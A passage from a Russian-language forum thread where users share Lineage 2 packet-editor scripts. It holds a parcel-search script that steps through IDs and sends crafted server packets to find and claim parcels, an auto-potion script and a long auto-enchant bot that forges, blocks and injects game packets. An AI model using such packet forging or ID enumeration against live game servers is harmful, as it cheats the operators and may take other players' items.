 timer1.enabled:=false;
 i:=a;
 sndmsg ('Нажми соц. действие Да - для начала поиска.');
end;   

procedure FRee;
begin 
 timer1.enabled:=false;
 timer1.free;
end; 

begin

if fromclient and (connectname=name) and (pck[1]=#$56) and (readD(2)=24) then begin
 buf:=#$D0#$6E#$00;
 writeD(i); 
 dec(i);
 sendtoserverex(name); 
 timer1.enabled:=true;
end;

if fromclient and (connectname=name) and (pck[1]=#$56) and (readD(2)=25) then begin
 buf:=#$D0#$6A#$00;
 writeD(i+1); 
 sendtoserverex(name); 
 sndmsg('Получили посылку. нажми ДА для продолженния поиска посылок.');
end;

if fromserver and (connectname=name) and (pck[1]=#$FE) and (pck[2]=#$AD) then begin
 if (readD(4)<>0) then begin
  timer1.enabled:=false;
  sndmsg('Посылка найдена, ид '+inttostr(i+1)+'! Для продолжения поиска жми Да. Что бы получить посылку - жми НЕТ.');
 end;
end;

end.
 

minister

Пользователь
Регистрация
25 Авг 2011
Сообщения
121
Лайки
0
Баллы
0
Скрипт юзает баночки HP если ваше HP < MaxHP

Код:
HTML:
var
timer: TTimer;
Name: String;
OID, OIDName: Integer;
MaxHP: Integer;
w: Integer;
procedure Init; //It is called at script turn on
begin
Name:='bobrul';
OID:= 0;
OIDName:= 0;
w:= 0;
 timer:=TTimer.Create(nil);
  timer.OnTimer:[email protected];
  timer.enabled:=false;
  timer.interval:=10100; //время задержки
end;

procedure Free; //It is called at script turn off
begin
timer.enabled:=false;
end;

procedure OnHTimer(Sender: TObject);
begin
If OID <> 0 then
begin
buf :=HStr('19');
WriteD(OID);
buf := buf + HStr('00 00 00 00');
SendToServer;
end
else timer.enabled:=false;
end;

begin
if FromServer and (ConnectName=Name) then
case pck[1] of
    #$21: begin
    if ReadD(12) = 1061 then OID:=ReadD(8);  //OID HealingPotion.
    end;

    #$32: begin
    If ReadS(22) = Name then
    begin
    MaxHP:=ReadD(84);  //MaxHP перса Name
    OIDName:=ReadD(18); //OID перса Name
    end;
    end;

    #$18: begin
    //Используем банки если HP<MaxHP.
    If (ReadD (2) = OIDName) and (ReadD(14) < MaxHP) and (w = 0) then
    begin
    timer.enabled:=TRUE;
    w:= 1;
    end;
    If (ReadD(2) = OIDName) and (ReadD(14) = MaxHP) then
    begin
    timer.enabled:=false;
    w:= 0;
    end;
    end;
    end;


end.
 

Vasia

Пользователь
Регистрация
29 Авг 2011
Сообщения
16
Лайки
0
Баллы
0
Скрипт на заточку
Скрипт сделан для хроник: Грация финал, Эпилог и Фрея.
Код:
const
    characterName='fer123';
    //protocol='freya';
    protocol='final/epilogue';
    Max=80;
    AltOption=false;
var
    ItemBase : array[1..4,1..max] of int64;
    ScrollMSListEntry : array[1..2,0..29] of integer;
    invindex : array[1..5] of integer;
    ScrollMSBypass : array[0..29] of string;
    arEnchantMax,arEnchantTo,arItemOID,arItemID,arScrollID: array of Integer;
    values : array[0..16] of variant;
    ItemsName, Inventory, Scrolls, MultisellList : TStringList;
    TempItemOID,TempScrollID,arLength,arPos,CurEnchLvl,ScrollOID,ScrollMSIndex,colID,colMSListID,colMSEntryID,ColExchangeCondition,Step,ScrollAmount,timerint11,timerint12,timerint13,timerint2,timerrandom,stries,itries:integer;
    invmask,TempItemName,TempScrollName,TempMultisellBypass,colMSBypass:string;
    timer,timer2:TTimer;
    started,error,scrollbuying,adenabuying,itembuying,debugmsg,pass2,blockpck:boolean;

Procedure Init;
begin
    SetLineage2Version(protocol);           
    UseForConnectName := characterName;
    ItemsName:=TStringList.Create;
    Inventory:=TStringList.Create;
    Scrolls:=TStringList.Create;
    MultisellList:=TStringList.Create;
    LoadScrolls;
    timer:=TTimer.Create(nil);
    timer.OnTimer:[email protected];
    timer.enabled:=false;
    timer.interval:=2000;
    timer2:=TTimer.Create(nil);
    timer2.OnTimer:[email protected];
    timer2.enabled:=false;
    timerint11:=2100;
    timerint12:=2200;
    timerint13:=2300;
    timerint2:=10000;
    timer2.interval:=timerint2;
    ScrollAmount:=10;
    ColExchangeCondition:=25000000;
    TempItemName:='Нажми для выбора предмета';
    TempScrollName:='Нажми для выбора заточки';
    buf:=#$14;
    SendToServer;
  try
    ItemsName.LoadFromFile('settings/ItemsID.ini');
  except
    exit;
  end; 
end;

Procedure Free;
var i:integer;
begin
    timer.Free; timer2.Free;
    ItemsName.Free; Inventory.Free; Scrolls.Free; MultisellList.Free;
    started:=false; error:=false; scrollbuying:=false; adenabuying:=false; itembuying:=false;
    debugmsg:=false; pass2:=false; blockpck:=false;
    invmask:=''; TempItemName:=''; TempScrollName:=''; TempMultisellBypass:=''; colMSBypass:='';
    TempItemOID:=0; TempScrollID:=0; arLength:=0; arPos:=0; CurEnchLvl:=0; ScrollOID:=0;
    ScrollMSIndex:=0; colID:=0; colMSListID:=0; colMSEntryID:=0; ColExchangeCondition:=0;
    Step:=0; ScrollAmount:=0; timerint11:=0; timerint12:=0; timerint13:=0; timerint2:=0; 
    timerrandom:=0; stries:=0; itries:=0;
    SetLength(arItemOID,1);
    SetLength(arItemID,1);
    SetLength(arScrollID,1);
    SetLength(arEnchantTo,1);
    SetLength(arEnchantMax,1);
    arItemOID[0]:=0;
    arItemID[0]:=0; 
    arScrollID[0]:=0;
    arEnchantTo[0]:=0;
    arEnchantMax[0]:=0;
    for i:=0 to 29 do begin
    ScrollMSListEntry[1,i]:=0;
    ScrollMSListEntry[2,i]:=0;
    ScrollMSBypass[i]:='';
    end;
    for i:=1 to Max do begin
    ItemBase[1,i]:=0;
    ItemBase[2,i]:=0;
    ItemBase[3,i]:=0;
    ItemBase[4,i]:=0;
    end; 
end;

Procedure LoadScrolls;
begin
    Scrolls.Add('956=Scroll: Enchant Armor D');
    Scrolls.Add('952=Scroll: Enchant Armor C');
    Scrolls.Add('948=Scroll: Enchant Armor B');
    Scrolls.Add('730=Scroll: Enchant Armor A');
    Scrolls.Add('960=Scroll: Enchant Armor S');
    Scrolls.Add('955=Scroll: Enchant Weapon D');
    Scrolls.Add('951=Scroll: Enchant Weapon C');
    Scrolls.Add('947=Scroll: Enchant Weapon B');
    Scrolls.Add('729=Scroll: Enchant Weapon A');
    Scrolls.Add('959=Scroll: Enchant Weapon S');
    Scrolls.Add('6576=Blessed Scroll: Enchant Armor D');
    Scrolls.Add('6574=Blessed Scroll: Enchant Armor C');
    Scrolls.Add('6572=Blessed Scroll: Enchant Armor B');
    Scrolls.Add('6570=Blessed Scroll: Enchant Armor A');
    Scrolls.Add('6578=Blessed Scroll: Enchant Armor S');
    Scrolls.Add('6575=Blessed Scroll: Enchant Weapon D');
    Scrolls.Add('6573=Blessed Scroll: Enchant Weapon C');
    Scrolls.Add('6571=Blessed Scroll: Enchant Weapon B');
    Scrolls.Add('6569=Blessed Scroll: Enchant Weapon A');
    Scrolls.Add('6577=Blessed Scroll: Enchant Weapon S');
    Scrolls.Add('958=Crystal Scroll: Enchant Armor D');
    Scrolls.Add('954=Crystal Scroll: Enchant Armor C');
    Scrolls.Add('950=Crystal Scroll: Enchant Armor B');
    Scrolls.Add('732=Crystal Scroll: Enchant Armor A');
    Scrolls.Add('962=Crystal Scroll: Enchant Armor S');
    Scrolls.Add('957=Crystal Scroll: Enchant Weapon D');
    Scrolls.Add('953=Crystal Scroll: Enchant Weapon C');
    Scrolls.Add('949=Crystal Scroll: Enchant Weapon B');
    Scrolls.Add('731=Crystal Scroll: Enchant Weapon A');
    Scrolls.Add('961=Crystal Scroll: Enchant Weapon S');   
end;

Procedure SetLineage2Version(ver:string);
begin
    case ver of
        'final/epilogue': 
            begin
                invmask:='hdddqhhhdh';
                invindex[1]:=1;
                invindex[2]:=2;
                invindex[3]:=4;
                invindex[4]:=9;
                invindex[5]:=8;
            end;
        'freya':
            begin
                invmask:='dddqhhhdh';
                invindex[1]:=0;
                invindex[2]:=1;
                invindex[3]:=3;
                invindex[4]:=8;
                invindex[5]:=7;            
            end;
    end; 
end;
    
Procedure CreateItemBase; //создание базы предметов
var i,j,count:integer;
begin
    DebugSay('Пришел пакет инвентаря');
    Inventory.Clear;
    count:=round((length(pck)-5)/ReadH(4));
    for j:=1 to 4 do for i:=1 to Max do ItemBase[j,i]:=0;
    for i:=0 to ReadH(4)-1 do
        begin
            readmask(invmask,6+i*count,values);
            ItemBase[1,i+1]:=values[invindex[1]];
            ItemBase[2,i+1]:=values[invindex[2]];
            ItemBase[3,i+1]:=values[invindex[3]];
            ItemBase[4,i+1]:=values[invindex[4]];
            if values[invindex[5]]>0 then Inventory.Add(Format('%d=+%d*%s',[ItemBase[1,i+1],ItemBase[4,i+1],ItemsName.Values[IntToStr(ItemBase[2,i+1])]]));
        end;
end;

Procedure UpdateItemBase;
var i,j,obj,count:integer;
begin
    DebugSay('Пришел пакет обновления инвентаря');
    count:=round((length(pck)-3)/ReadH(2));
    for i:=0 to ReadH(2)-1 do
        begin
            readmask('h'+invmask,4+i*count,values);
            case values[0] of 
                1: obj:=0;
                2: obj:=values[invindex[1]+1];
                3: begin
                    for i:=1 to Max do 
                        if ItemBase[1,i]=values[invindex[1]+1] then
                            begin
                                for j:=1 to 4 do ItemBase[j,i]:=0;
                                if values[invindex[5]+1]>0 then Inventory.Delete(Inventory.IndexOfName(inttostr(values[invindex[1]+1])));
                                break;
                            end;
                    continue;
                   end; 
            end;
            for i:=1 to Max do
                if ItemBase[1,i]=obj then 
                    begin
                        ItemBase[1,i]:=values[invindex[1]+1];
                        ItemBase[2,i]:=values[invindex[2]+1];
                        ItemBase[3,i]:=values[invindex[3]+1];
                        ItemBase[4,i]:=values[invindex[4]+1];
                        if values[invindex[5]+1]>0 then if obj=0 then Inventory.Add(Format('%d=+%d*%s',[ItemBase[1,i],ItemBase[4,i],ItemsName.Values[IntToStr(ItemBase[2,i])]])) else Inventory[Inventory.IndexOfName(inttostr(ItemBase[1,i]))]:=Format('%d=+%d*%s',[ItemBase[1,i],ItemBase[4,i],ItemsName.Values[IntToStr(ItemBase[2,i])]]); 
                        break;
                    end; 
        end;
end;

function GetItem(ID, FieldIn, FieldOut : integer) : integer;
var
  i : integer;
begin
  for i:=1 to max do
    if ItemBase[FieldIn,i]=ID then begin
      result:=ItemBase[FieldOut,i];
      exit;
    end;
  result:=-1;
end;

Procedure MultiSellListCreate;
var count,i,ListID,ScrollsIndex:integer;
begin
    ListID:=ReadD(2);
    count:=0;
    if ScrollMSListEntry[1,ScrollMSIndex]=ListID then exit;
    for i:=1 to ReadD(18) do
        begin
            readmask('dchddhhhhhhhhhhdd',22+count,values);
            count:=count+35+values[13]*44+values[14]*40;
            if values[13]>1 then continue;
            if (colid<>0) and (colid=values[15]) then 
                begin
                    colMSListID:=ListID;
                    colMSEntryID:=values[0];
                    colMSBypass:=TempMultisellBypass;
                    continue;
                end;
            if (values[16]>0) and (MultisellList.IndexOfName(inttostr(values[15]))=-1) then 
                begin
                    MultisellList.Add(Format('%d=%d,%d,%s',[values[15],ListID,values[0],TempMultisellBypass]));
                    continue;
                end;             
            ScrollsIndex:=Scrolls.IndexOfName(inttostr(values[15]));
            if ScrollsIndex<>-1 then 
                begin 
                    ScrollMSListEntry[1,ScrollsIndex]:=ListID;
                    ScrollMSListEntry[2,ScrollsIndex]:=values[0];
                    ScrollMSBypass[ScrollsIndex]:=TempMultisellBypass;
                end;
              
        end;
    
end;

Procedure ShowMenu(index:integer);
var HTML,tempstr:string;
    i:integer;
begin
    case index of
    0: begin
        HTML:='<html><head><title>Автозаточка Fer123 - Заточка</title></head><body>';
        HTML:=HTML+'<center><table cellspacing=0 cellpadding=0><tr>';
        HTML:=HTML+'<td><button value="Заточка"  back="L2UI_CT1.Tab_DF_Tab_Selected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Selected"></td>';
        HTML:=HTML+'<td><button value="Покупка"  action="bypass script showmenu 1" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
        HTML:=HTML+'<td><button value="Настройки"  action="bypass script showmenu 2" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=69 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
        HTML:=HTML+'<td><button value="Помощь"   action="bypass script showmenu 3" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
        HTML:=HTML+'</tr></table></center><br>';
        if started then tempstr:='back="L2UI.SquareGray" fore="L2UI.SquareGray"' else tempstr:='back="L2UI.SquareBlack" fore="L2UI.SquareGray"';
        HTML:=HTML+'<br1><table><tr><td width=80><button value="Старт" action="bypass script start" width="130" height="18" '+tempstr+'></td><td width=6></td>';
        if started then tempstr:='back="L2UI.SquareBlack" fore="L2UI.SquareGray"' else tempstr:='back="L2UI.SquareGray" fore="L2UI.SquareGray"';
        HTML:=HTML+'<td width=80><button value="Стоп" action="bypass script stop" width="130" height="18" '+tempstr+'></td></tr></table><br>';        
        HTML:=HTML+'<table><tr><td width=60>Предмет:</td><td width=215><a action="bypass script showmenu 4">'+TempItemName+'</a></td></tr>';
        HTML:=HTML+'<tr><td width=60>Заточка:</td><td width=215><a action="bypass script showmenu 5">'+TempScrollName+'</a></td></tr></table>';
        HTML:=HTML+'<table><tr><td width=105>Уровень заточки:</td><td align=left><edit var=editField width="50" height="10"></td><td width=107></td></tr></table>';    
        HTML:=HTML+'<table><tr><td><button value="Добавить в очередь" action="bypass script add $editField" width="270" height="18" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr></table>';
        HTML:=HTML+'<br><center>Очередь</center>';
        HTML:=HTML+'<table bgcolor="696969"><tr><td width=150>Предмет</td><td width=40 align=center>Т</td><td width=40 align=center>Ж</td><td width=40 align=center>Д</td></tr></table>';        
        for i:=0 to arLength-1 do if arItemOID[i]<>0 then 
        begin
            if i=arPos then tempstr:='BEBEBE' else tempstr:='D3D3D3';
            HTML:=HTML+Format('<table bgcolor="%s"><tr><td width=150>%s</td><td width=40 align=center>%d</td><td width=40 align=center>%d</td><td width=40 align=center>%d</td></tr></table>',[tempstr,ItemsName.Values[IntToStr(arItemID[i])],GetItem(arItemOID[i],1,4),arEnchantTo[i],arEnchantMax[i]]);
        end;
        if arLength>0 then HTML:=HTML+'<br1><table><tr><td><button value="Очистить очередь" action="bypass script clear" width="270" height="18" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr></table>';
        HTML:=HTML+'</body></html>';
       end;
    1: begin
        HTML:='<html><head><title>Автозаточка Fer123 - Покупка</title></head><body>';
        HTML:=HTML+'<center><table border=0 cellspacing=0 cellpadding=0><tr>';
        HTML:=HTML+'<td><button value="Заточка"  action="bypass script showmenu 0" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
        HTML:=HTML+'<td><button value="Покупка"  back="L2UI_CT1.Tab_DF_Tab_Selected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Selected"></td>';
        HTML:=HTML+'<td><button value="Настройки"  action="bypass script showmenu 2" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=69 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
        HTML:=HTML+'<td><button value="Помощь"   action="bypass script showmenu 3" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
        HTML:=HTML+'</tr></table></center><br>';
        HTML:=HTML+'<table width=270><tr><td>';
        if scrollbuying=true then HTML:=HTML+'<button value="" action="bypass script scrollbuying off" width=12 height=12 fore="L2UI.CheckBox_checked" back="L2UI.CheckBox_checked">' else
        HTML:=HTML+'<button value="" action="bypass script scrollbuying on" width=12 height=12 fore="L2UI.CheckBox" back="L2UI.CheckBox">';
        HTML:=HTML+'</td><td width=258>Покупка заточек (MultiSell)</td></tr></table>';
        HTML:=HTML+'<table><tr><td width=15></td><td width=180>Кол-во, покупаемых заточек:</td>';
        HTML:=HTML+'<td><edit var=Amount width="25" height="10"></td><td width=2></td><td><button value="ОК" action="bypass script maxscrolls $Amount" width="25" height="16" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr></table>';
        HTML:=HTML+'<br1><table width=270><tr><td>';
        if itembuying=true then HTML:=HTML+'<button value="" action="bypass script itembuying off" width=12 height=12 fore="L2UI.CheckBox_checked" back="L2UI.CheckBox_checked">' else
        HTML:=HTML+'<button value="" action="bypass script itembuying on" width=12 height=12 fore="L2UI.CheckBox" back="L2UI.CheckBox">';
        HTML:=HTML+'</td><td width=258>Покупка предметов (MultiSell)</td></tr></table>';
        HTML:=HTML+'<br1><table width=270><tr><td>';
        if adenabuying=true then HTML:=HTML+'<button value="" action="bypass script adenabuying off" width=12 height=12 fore="L2UI.CheckBox_checked" back="L2UI.CheckBox_checked">' else
        HTML:=HTML+'<button value="" action="bypass script adenabuying on" width=12 height=12 fore="L2UI.CheckBox" back="L2UI.CheckBox">';
        HTML:=HTML+'</td><td width=258>Обмен адены</td></tr></table>';
        HTML:=HTML+'<table><tr><td width=18></td><td width=252>Введите ID предмета, который обменивается на адену:</td></tr></table>'; 
        HTML:=HTML+'<table><tr><td width=16></td><td><edit var=ColID width="50" height="10"></td><td width=10></td><td><button value="ОК" action="bypass script col $ColID" width="25" height="18" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr></table>';
        HTML:=HTML+'<table><tr><td width=16></td><td width=252>Обменивать при условии: Адена меньше </td></tr></table>'; 
        HTML:=HTML+'<table><tr><td width=16></td><td><edit var=ColCond width="50" height="10"></td><td width=10></td><td><button value="ОК" action="bypass script colcondition $ColCond" width="25" height="18" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr></table>';
        HTML:=HTML+'<br>В настоящее время скрипт запомнил MultiSell IDs для: ';
        for i:=0 to 29 do if ScrollMSListEntry[2,i]<>0 then HTML:=HTML+Scrolls.Values[Scrolls.Names[i]]+', ';
        for i:=0 to arLength-1 do if MultisellList.IndexOfName(inttostr(arItemID[i]))<>-1 then HTML:=HTML+ItemsName.Values[inttostr(arItemID[i])]+', '; 
        if colMSEntryID<>0 then HTML:=HTML+ItemsName.Values[inttostr(colid)]+', ';        
        if HTML[length(HTML)-1]=',' then HTML[length(HTML)-1]:='.';
        HTML:=HTML+'</body></html>';
       end;
    2: begin
        HTML:='<html><head><title>Автозаточка Fer123 - Настройки</title></head><body>';
        HTML:=HTML+'<center><table border=0 cellspacing=0 cellpadding=0><tr>';
        HTML:=HTML+'<td><button value="Заточка"  action="bypass script showmenu 0" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
        HTML:=HTML+'<td><button value="Покупка"  action="bypass script showmenu 1" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
        HTML:=HTML+'<td><button value="Настройки"  back="L2UI_CT1.Tab_DF_Tab_Selected" width=69 height=22 fore="L2UI_CT1.Tab_DF_Tab_Selected"></td>';
        HTML:=HTML+'<td><button value="Помощь"   action="bypass script showmenu 3" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
        HTML:=HTML+'</tr></table></center><br>';
        HTML:=HTML+'<table width=270><tr><td>';
        if debugmsg=true then HTML:=HTML+'<button value="" action="bypass script debugmsg off" width=12 height=12 fore="L2UI.CheckBox_checked" back="L2UI.CheckBox_checked">' else
        HTML:=HTML+'<button value="" action="bypass script debugmsg on" width=12 height=12 fore="L2UI.CheckBox" back="L2UI.CheckBox">';
        HTML:=HTML+'</td><td width=258>Вывод дебаг сообщений (Party Chat)</td></tr></table><br>';
        HTML:=HTML+'<center>Тайминги</center><br1>';
        HTML:=HTML+'<table width=270><tr><td>Интервалы таймера заточки (мсек): </td></tr></table>';
        HTML:=HTML+'<table><tr><td>Шаг 1:</td><td><edit var=timer11 width="50" height="10"></td><td><button value="ОК" action="bypass script timer11 $timer11" width="25" height="18" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr>';
        HTML:=HTML+'<tr><td>Шаг 2:</td><td><edit var=timer12 width="50" height="10"></td><td><button value="ОК" action="bypass script timer12 $timer12" width="25" height="18" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr>';
        HTML:=HTML+'<tr><td>Шаг 3:</td><td><edit var=timer13 width="50" height="10"></td><td><button value="ОК" action="bypass script timer13 $timer13" width="25" height="18" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr></table>';
        HTML:=HTML+'<table><tr><td width=170>Интервал таймера покупки: </td><td><edit var=timer2 width="50" height="10"></td><td><button value="ОК" action="bypass script timer2 $timer2" width="25" height="18" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr>';
        HTML:=HTML+'<tr><td width=160>Случайное значение: </td><td><edit var=random width="50" height="10"></td><td><button value="ОК" action="bypass script setrandom $random" width="25" height="18" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr></table>';
        HTML:=HTML+'<br><center>Остальное</center><br1>';
        HTML:=HTML+'<table width=270><tr><td>';
        if pass2=true then HTML:=HTML+'<button value="" action="bypass script pass2 off" width=12 height=12 fore="L2UI.CheckBox_checked" back="L2UI.CheckBox_checked">' else
        HTML:=HTML+'<button value="" action="bypass script pass2 on" width=12 height=12 fore="L2UI.CheckBox" back="L2UI.CheckBox">';
        HTML:=HTML+'</td><td width=258>Пропускать Шаг 2 (RequestTryToPutEnchantTargetItem)</td></tr>';
        HTML:=HTML+'<tr><td>';
        if blockpck=true then HTML:=HTML+'<button value="" action="bypass script blockpck off" width=12 height=12 fore="L2UI.CheckBox_checked" back="L2UI.CheckBox_checked">' else
        HTML:=HTML+'<button value="" action="bypass script blockpck on" width=12 height=12 fore="L2UI.CheckBox" back="L2UI.CheckBox">';
        HTML:=HTML+'</td><td width=258>Блокировать пакеты ChooseInventory и MultiSellList</td></tr></table>';
        HTML:=HTML+'</body></html>';
       end;
    3: begin
        HTML:='<html><head><title>Автозаточка Fer123 - Помощь</title></head><body>';
        HTML:=HTML+'<center><table border=0 cellspacing=0 cellpadding=0><tr>';
        HTML:=HTML+'<td><button value="Заточка"  action="bypass script showmenu 0" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
        HTML:=HTML+'<td><button value="Покупка"  action="bypass script showmenu 1" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
        HTML:=HTML+'<td><button value="Настройки"  action="bypass script showmenu 2" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=69 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
        HTML:=HTML+'<td><button value="Помощь"  back="L2UI_CT1.Tab_DF_Tab_Selected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Selected"></td>';
        HTML:=HTML+'</tr></table></center><br>';
        HTML:=HTML+'В вкладке "Заточка" выбирите предмет и заточку, затем введите желаемый уровень заточки и нажмите кнопку "Добавить в очередь".<br1>Если все введено верно то, имя предмета появится в таблице ниже.<br1>';
        HTML:=HTML+'Сокращения в таблице: Т - Текущий, Ж - Желаемый, Д - Достигнутый.<br1>Текущий предмет в таблице выделен серым цветом, остальные светло-серым.<br1>'; 
        HTML:=HTML+'При добавлении первого предмета появляется кнопка "Очистить очередь", которая очищает таблицу.<br1>Кнопки "Старт" и "Стоп" запускают и останавливают процесс заточки.<br>';
        HTML:=HTML+'В вкладке "Покупка" настраивается покупка заточек, предметов (при поломке), и обмен адены<br>';
        HTML:=HTML+'В вкладке "Настройка" настраиваются тайминги и прочее';
        HTML:=HTML+'</body></html>';
       end;
    4: begin
        HTML:='<html><head><title>Автозаточка Fer123 - Выбор предмета</title></head><body>';
        for i:=0 to Inventory.Count-1 do HTML:=HTML+'<a action="bypass script chooseitem '+Inventory.Names[i]+'">'+Inventory.Values[Inventory.Names[i]]+'</a><br1>'; 
        HTML:=HTML+'</body></html>';
       end;
    5: begin
        HTML:='<html><head><title>Автозаточка Fer123 - Выбор заточки</title></head><body>';
        for i:=0 to Scrolls.Count-1 do HTML:=HTML+'<a action="bypass script choosescroll '+Scrolls.Names[i]+'">'+Scrolls.Values[Scrolls.Names[i]]+'</a><br1>'; 
        HTML:=HTML+'</body></html>';
       end;         
    end;
    WriteMask('cdsd',[$19,5,HTML,0]);
    SendToClient;
end;

Procedure ExecuteCMD(CMD:string);
var argument:string;
begin
if Copy(CMD,1,6)='script' then 
    begin
        Delete(CMD,1,7);
        if pos(' ',CMD)<>0 then begin
            argument:=CMD;
            CMD:=Copy(CMD,1,pos(' ',CMD)-1);
            Delete(argument,1,pos(' ',argument));
        end else argument:='';
        case CMD of
            'start': if not started then
                begin
                    Step:=1;
                    error:=false;
                    itries:=0;
                    stries:=0;
                    if arLength>0 then begin
                        started:=true;
                        timer.enabled:=true;
                    end;
                    if scrollbuying then timer2.enabled:=true;
                    ShowMenu(0);
                end;
            'stop': if started then
                begin
                    Step:=1;
                    started:=false;
                    timer.enabled:=false;
                    timer2.enabled:=false;
                    ShowMenu(0); 
                end;
            'add': 
                begin
                    if (argument<>'') and (TempItemOID<>0) and (TempScrollID<>0) then begin
                        inc(arLength);
                        SetLength(arItemOID,arLength);
                        SetLength(arItemID,arLength);
                        SetLength(arScrollID,arLength);
                        SetLength(arEnchantTo,arLength);
                        SetLength(arEnchantMax,arLength);
                        arItemOID[arLength-1]:=TempItemOID;
                        arItemID[arLength-1]:=GetItem(TempItemOID,1,2);
                        arScrollID[arLength-1]:=TempScrollID;
                        arEnchantTo[arLength-1]:=strtoint(argument);
                        if arLength=1 then begin
                            if AltOption=true then AltSearch else CurEnchLvl:=GetItem(arItemOID[0],1,4);
                            ScrollMSIndex:=Scrolls.IndexOfName(inttostr(arScrollID[arPos]));
                        end;
                        TempItemName:='Нажми для выбора предмета';
                        TempScrollName:='Нажми для выбора заточки';
                        TempItemOID:=0;
                        TempScrollID:=0;
                        ShowMenu(0);
                    end;
                end;
            'col': 
                begin
                    if argument<>'' then colid:=strtoint(argument);
                    ShowMenu(1);
                end;
            'colcondition':
                begin
                    if argument<>'' then ColExchangeCondition:=strtoint(argument);
                    ShowMenu(1);
                end;
            'chooseitem': 
                begin
                    if GetItem(strtoint(argument),1,3)<>-1 then begin
                    TempItemName:=Inventory.Values[argument];
                    TempItemOID:=strtoint(argument);
                    end;
                    ShowMenu(0);
                end;
            'clear': 
                begin
                    arLength:=0;
                    arPos:=0;
                    SetLength(arItemOID,1);
                    SetLength(arItemID,1);
                    SetLength(arScrollID,1);
                    SetLength(arEnchantTo,1);
                    SetLength(arEnchantMax,1);
                    arItemOID[0]:=0;
                    arItemID[0]:=0; 
                    arScrollID[0]:=0;
                    arEnchantTo[0]:=0;
                    arEnchantMax[0]:=0;
                    if started then begin
                    Step:=1;
                    started:=false;
                    timer.enabled:=false;
                    timer2.enabled:=false;                    
                    end;
                    ShowMenu(0);       
                end;
            'choosescroll': 
                begin
                    TempScrollName:=Scrolls.Values[argument];
                    TempScrollID:=strtoint(argument);
                    ShowMenu(0);
                end;
            'maxscrolls': 
                begin
                    if argument<>'' then ScrollAmount:=strtoint(argument);
                    ShowMenu(1);
                end;
            'timer11': 
                begin
                    if argument<>'' then timerint11:=strtoint(argument);
                    ShowMenu(2);
                end;
            'timer12': 
                begin
                    if argument<>'' then timerint12:=strtoint(argument);
                    ShowMenu(2);
                end;
            'timer13': 
                begin
                    if argument<>'' then timerint13:=strtoint(argument); 
                    ShowMenu(2);
                end;
            'timer2': 
                begin
                    if argument<>'' then timerint2:=strtoint(argument);
                    ShowMenu(2);
                end;
            'setrandom': 
                begin
                    if argument<>'' then timerrandom:=strtoint(argument);
                    ShowMenu(2);
                end; 
            'showmenu': ShowMenu(strtoint(argument));
            'scrollbuying': 
                begin
                    if argument='on' then begin 
                    scrollbuying:=true;
                    if started then timer2.enabled:=true;
                    end;
                    if argument='off' then scrollbuying:=false;
                    ShowMenu(1);
                end; 
            'itembuying': 
                begin
                    if argument='on' then itembuying:=true;
                    if argument='off' then itembuying:=false;
                    ShowMenu(1);
                end; 
            'adenabuying': 
                begin
                    if argument='on' then adenabuying:=true;
                    if argument='off' then adenabuying:=false;
                    ShowMenu(1);
                end;
            'debugmsg': 
                begin
                    if argument='on' then debugmsg:=true;
                    if argument='off' then debugmsg:=false;
                    ShowMenu(2);
                end;
            'pass2': 
                begin
                    if argument='on' then pass2:=true;
                    if argument='off' then pass2:=false;
                    ShowMenu(2);
                end;
            'blockpck': 
                begin
                    if argument='on' then blockpck:=true;
                    if argument='off' then blockpck:=false;
                    ShowMenu(2);
                end;  
        end;
       pck:='';
    end else TempMultisellBypass:=CMD;
end;

Procedure DebugSay(text:string);
begin
    if debugmsg then begin
    buf:=#$4A;
    Writemask('ddss',[0,3,'Script',text]);
    SendToClient; 
    end;
end;

procedure UseItem(ObjectID: integer);
begin
  buf:=#$19;
  WriteD(ObjectID);
  WriteD(0);
  SendToServer;
end;

Procedure RequestPutEnchantTargetItem(ObjectID: integer);
begin
    buf:=#$D0;
    WriteH(76);
    WriteD(ObjectID);
    SendToServer;
end;

procedure RequestEnchantItem(ObjectID: integer);
begin
  buf:=#$5F;
  WriteD(ObjectID);
  WriteD(0);
  SendToServer;
end;

Procedure RequestExCancelEnchantItem;
begin
buf:=HStr('D0 4E 00');
SendToServer;
end;

Procedure MultisellChoose(ListID,EntryID,Amount:integer);
begin
  buf:=#$B0;
